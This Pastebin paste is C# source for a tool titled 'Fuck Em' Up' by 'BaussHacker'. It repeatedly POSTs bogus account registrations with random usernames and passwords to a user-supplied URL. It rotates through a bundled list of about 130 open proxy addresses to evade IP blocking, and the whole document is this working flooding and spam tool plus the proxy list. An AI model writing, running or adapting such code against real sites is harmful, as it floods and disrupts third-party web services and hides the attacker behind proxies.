Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //BaussHacker - HF
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Net;
- using System.IO;
- using System.Threading;
- namespace HttpPwnage
- {
- public class Proxy
- {
- public string ProxyUrl;
- public bool Used = false;
- public bool InUse = false;
- }
- class Program
- {
- static List<Proxy> Proxies = new List<Proxy>();
- static WebRequest req;
- static void Main(string[] args)
- {
- Console.Title = "Fuck Em' Up";
- Console.ForegroundColor = ConsoleColor.Blue;
- Console.Write("URL: "); Console.ForegroundColor = ConsoleColor.Magenta;
- req = HttpWebRequest.Create(Console.ReadLine());
- Console.ForegroundColor = ConsoleColor.Blue;
- #region Load Proxies
- if (!File.Exists("proxylist.txt"))
- {
- Console.Write("Proxylist: "); Console.ForegroundColor = ConsoleColor.Magenta;
- foreach (string s in File.ReadAllText(Console.ReadLine()).Split('\n'))
- {
- if (s.Length > 0)
- {
- Proxy p = new Proxy()
- {
- ProxyUrl = s,
- Used = false
- };
- Proxies.Add(p);
- }
- }
- }
- else
- {
- foreach (string s in File.ReadAllText("proxylist.txt").Split('\n'))
- {
- if (s.Length > 0)
- {
- Proxy p = new Proxy()
- {
- ProxyUrl = s,
- Used = false
- };
- Proxies.Add(p);
- }
- }
- }
- #endregion
- Threading thread2 = new Threading();
- thread2.Event += new Action(ProxyCheck);
- thread2.Start(1000);
- hehe:
- Console.ForegroundColor = ConsoleColor.Blue;
- Console.Write("Save default proxy settings? (Y/N):"); Console.ForegroundColor = ConsoleColor.Magenta;
- switch (Console.ReadLine())
- {
- #region Y
- case "Y":
- {
- SaveProxies();
- Boom();
- break;
- }
- #endregion
- #region N
- case "N":
- {
- try
- {
- File.Delete("proxylist.proxy");
- }
- catch { }
- Boom();
- break;
- }
- #endregion
- default:
- goto hehe;
- }
- }
- static void SaveProxies()
- {
- #region Save
- FileStream fs;
- try
- {
- fs = new FileStream("proxylist.txt", FileMode.CreateNew);
- }
- catch
- {
- fs = new FileStream("proxylist.txt", FileMode.Truncate);
- }
- StreamWriter sw = new StreamWriter(fs);
- foreach (Proxy s in Proxies)
- {
- sw.WriteLine(s.ProxyUrl);
- }
- sw.Close();
- fs.Close();
- #endregion
- }
- static void Boom()
- {
- Threading thread = new Threading();
- thread.Event += new Action(BoomHeadshot);
- thread.Start(100);
- }
- static void ProxyCheck()
- {
- int i = 0;
- foreach (Proxy p in Proxies)
- if (!p.InUse)
- i++;
- Console.Title = "Fuck Em' Up - Current Available Proxies: " + i;
- }
- static int inuse = 0;
- static void BoomHeadshot()
- {
- if (inuse > 10)
- return;
- foreach (Proxy proxy in Proxies)
- {
- if (!proxy.InUse)
- {
- Console.ForegroundColor = ConsoleColor.Yellow;
- Console.WriteLine("Connecting to the current proxy: " + proxy.ProxyUrl);
- try
- {
- proxy.InUse = true;
- proxy.Used = false;
- inuse++;
- req.Proxy = new WebProxy(proxy.ProxyUrl);
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("Connected to: " + proxy.ProxyUrl);
- while (!proxy.Used)
- {
- #region Success Proxy
- try
- {
- FuckShitUp();
- }
- #endregion
- #region Failed Proxy
- catch
- {
- Console.ForegroundColor = ConsoleColor.Red;
- proxy.Used = true;
- Console.WriteLine(proxy.ProxyUrl + " has stopped working, switching proxy...");
- }
- #endregion
- }
- }
- catch
- {
- Console.WriteLine("Could not connect to: " + proxy.ProxyUrl);
- }
- inuse--;
- proxy.InUse = false;
- }
- }
- }
- static void FuckShitUp()
- {
- req.Method = "POST";
- req.ContentType = "application/x-www-form-urlencoded";
- #region data
- RandomString str = new RandomString();
- string username = str.GenerateRandomString(7);
- RandomString str2 = new RandomString();
- string password = str2.GenerateRandomString(8);
- string mail = "heheheheh@hotmail.com";
- string question = "ohmygod??";
- string answer = "notyourproblem";
- #endregion
- string postData =
- "user=" + username +
- "&password=" + password +
- "&password2=" + password +
- "&mail=" + mail +
- "&question=" + question +
- "&answer=" + answer;
- req.ContentLength = postData.Length;
- StreamWriter strw= new
- StreamWriter(req.GetRequestStream(),
- System.Text.Encoding.ASCII);
- strw.Write(postData);
- strw.Close();
- }
- }
- public class RandomString
- {
- public string GenerateRandomString(int length)
- {
- Random r = new Random();
- string ret = "";
- for (int i = 0; i < length; i++)
- {
- byte val = (byte)r.Next(65, 122);
- if (val > 96 || val < 91)
- ret += Encoding.ASCII.GetString(new byte[] { val });
- else
- i--;
- }
- return ret;
- }
- }
- public class Threading
- {
- public event Action Event;
- Thread T;
- DateTime DT;
- uint interval;
- public void Start(uint Interval)
- {
- interval = Interval;
- T = new Thread(new ThreadStart(Run));
- T.Start();
- }
- private bool closed = false;
- public bool Close
- {
- get
- {
- return closed;
- }
- set
- {
- closed = value;
- if (closed)
- {
- T.Join();
- T.Abort();
- }
- }
- }
- void Run()
- {
- while (!closed)
- {
- if (DateTime.Now > DT.AddMilliseconds(interval))
- {
- DT = DateTime.Now;
- try
- {
- Event.Invoke();
- }
- catch { }
- }
- Thread.Sleep(1);
- }
- }
- }
- }
- //PROXY LIST
- /*123.131.165.154:3128
- 201.65.237.68:3128
- 77.92.131.118:8080
- 124.248.34.51:3128
- 190.121.129.179:80
- 186.42.212.237:3128
- 64.34.102.194:443
- 200.63.71.75:8080
- 93.189.5.138:8080
- 87.226.106.203:8080
- 118.174.37.174:8080
- 202.143.158.50:8080
- 115.236.98.109:80
- 200.42.56.146:8080
- 195.210.3.78:8000
- 98.140.210.54:8085
- 88.220.37.150:8080
- 189.10.142.19:80
- 200.89.112.42:3128
- 201.48.250.233:3128
- 41.73.18.49:8080
- 189.22.158.130:3128
- 121.14.133.169:3128
- 193.140.7.10:3128
- 60.250.20.104:3128
- 202.152.6.169:3128
- 109.235.49.143:80
- 189.77.108.62:3128
- 143.107.79.203:8080
- 122.72.12.86:80
- 200.96.185.228:80
- 82.160.44.55:8080
- 41.35.48.210:8080
- 117.67.43.37:8909
- 58.44.215.80:8909
- 222.42.45.51:3128
- 203.189.89.153:8080
- 124.235.185.63:8909
- 112.1.133.3:8909
- 59.36.23.252:8909
- 118.98.232.132:8080
- 112.2.52.18:1337
- 221.137.103.81:8909
- 124.235.185.63:8909
- 118.98.31.5:80
- 123.242.167.8:3128
- 59.90.104.90:3128
- 180.243.94.244:3128
- 222.209.210.106:1337
- 123.115.129.26:8909
- 202.138.236.220:8080
- 124.78.35.161:8909
- 203.116.44.27:808
- 113.96.88.215:8909
- 222.60.8.66:8080
- 114.228.213.233:8909
- 196.201.211.145:80
- 93.91.201.82:8080
- 221.196.220.244:8909
- 117.42.108.200:8909
- 113.128.1.122:8909
- 113.138.229.83:8909
- 222.124.207.26:8080
- 61.149.25.99:8909
- 110.137.127.128:808
- 122.68.50.214:8909
- 60.220.115.70:8909
- 91.120.21.169:8888
- 114.246.27.184:8909
- 113.111.165.200:8909
- 220.225.200.155:80
- 190.101.118.163:3128
- 123.116.17.181:8909
- 203.116.44.29:1081
- 210.243.157.250:3128
- 178.213.33.129:110
- 190.223.230.59:3128
- 189.108.29.186:3126
- 222.134.33.146:8080
- 118.175.74.56:3128
- 117.87.248.64:8909
- 196.219.126.178:8080
- 119.183.24.226:8909
- 117.8.70.73:8909
- 220.234.127.90:8909
- 41.234.204.125:8080
- 119.50.99.10:8909
- 124.14.10.103:80
- 190.37.127.117:3128
- 114.111.8.23:8909
- 123.139.255.127:8909
- 221.223.52.158:8909
- 221.7.145.42:8080
- 114.104.70.188:8909
- 78.188.153.229:8080
- 220.243.101.32:8909
- 189.22.167.202:3128
- 118.96.30.22:80
- 222.130.172.178:8909
- 180.246.178.5:8080
- 202.143.155.132:3128
- 222.130.252.142:8909
- 203.116.44.24:8080
- 67.44.130.33:87
- 203.116.44.24:203
- 125.165.186.84:3128
- 200.243.38.60:3128
- 123.246.160.129:8909
- 123.117.172.192:8909
- 202.152.4.27:80 3.2180
- 186.225.44.69:8080
- 188.142.129.65:8080
- 91.194.247.230:8080
- 80.78.130.198:80
- 122.94.144.203:8909
- 200.63.71.54:8080
- 120.4.17.99:8909
- 187.33.69.50:3128
- 217.8.95.242:3128
- 186.115.130.44:3127
- 221.204.246.161:80
- 61.167.49.188:8080
- 97.81.243.63:8080
- 46.17.96.239:3128
- 116.90.162.148:8888
- 205.185.121.182:8888
- 180.248.156.210:3128
- 118.96.30.3:8080
- 219.223.252.34:8080
- 187.33.69.50:80
- 201.219.17.29:8080
- 88.85.125.78:8080
- 186.3.41.21:3128*/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement